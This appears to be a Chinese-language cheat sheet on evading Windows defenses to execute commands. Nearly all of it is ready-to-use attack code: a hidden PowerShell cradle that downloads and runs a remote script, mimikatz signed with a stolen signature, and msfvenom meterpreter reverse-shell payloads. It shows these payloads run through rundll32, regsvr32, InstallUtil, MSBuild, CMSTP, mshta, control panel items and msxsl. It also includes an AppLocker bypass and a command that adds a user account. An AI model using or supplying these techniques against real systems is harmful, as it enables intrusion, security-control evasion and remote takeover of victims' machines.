windows命令执行防御规避总结

powershell

1
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8888/logo.gif'))\"" /f

SIP

通过sip劫持对恶意代码签名获得系统信任
https://github.com/secretsquirrel/SigThief

1
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe

rundll32.exe

1
2
3
4
5
生成
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll >xxx.dll

目标执行
rundll32.exe shell32.dll,Control_RunDLL xxx.dll

Regsvr32.exe

1
2
3
4
5
6
7
msfconsole

auxiliary/server/regsvr32_command_delivery_server
set CMD net user test 123456 /add

目标执行
regsvr32 /s /n /u /i:http://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll

InstallUtil.exe

1
2
3
4
5
6
7
8
9
1.编译后门:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:"C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\key.snk" xxx.cs
2.靶机上运行:
InstallUtil.exe /U xxx.exe
3.msf监听,得到反弹的shell
set payload windows/x64/meterpreter/reverse_tcp
set LHOST xx.xx.xx.xx
set LPORT 4444
exploit

Msbuild.exe

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件

https://github.com/3gstudent/msbuild-inline-task

msf生成shellcode

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp

使用shellcode替换 https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml 中的shellcode部分

msf监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit

运行

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe exec64.xml

CMSTP

1
cmstp.exe /s /ns C:\Users\administrator\AppData\Local\Temp\XKNqbpzl.txt绕过AppLocker并启动恶意脚本

Mshta.exe

Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序,攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意代码

1
2
3
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost xx.xx.xx.xx
msf exploit(windows/misc/hta_server) > exploit
1
mshta.exe http://xx.xx.xx.xx:8080/xxxxxxx.hta

控制面板

1
2
3
4
5
6
攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件。
攻击者构造恶意的dll文件CPIApplet.dll
利用msf生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll > /tmp/CPIApplet.dll
传入windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令

通过msxsl.exe调用恶意xml文件执行脚本

制作两个文件

customers.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

script.xsl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

开启http服务

1
python3 -m http.server 80

远程下载执行

1
msxsl.exe http://xx.xx.xx.xx/customers.xml http://xx.xx.xx.xx/scrip.xsl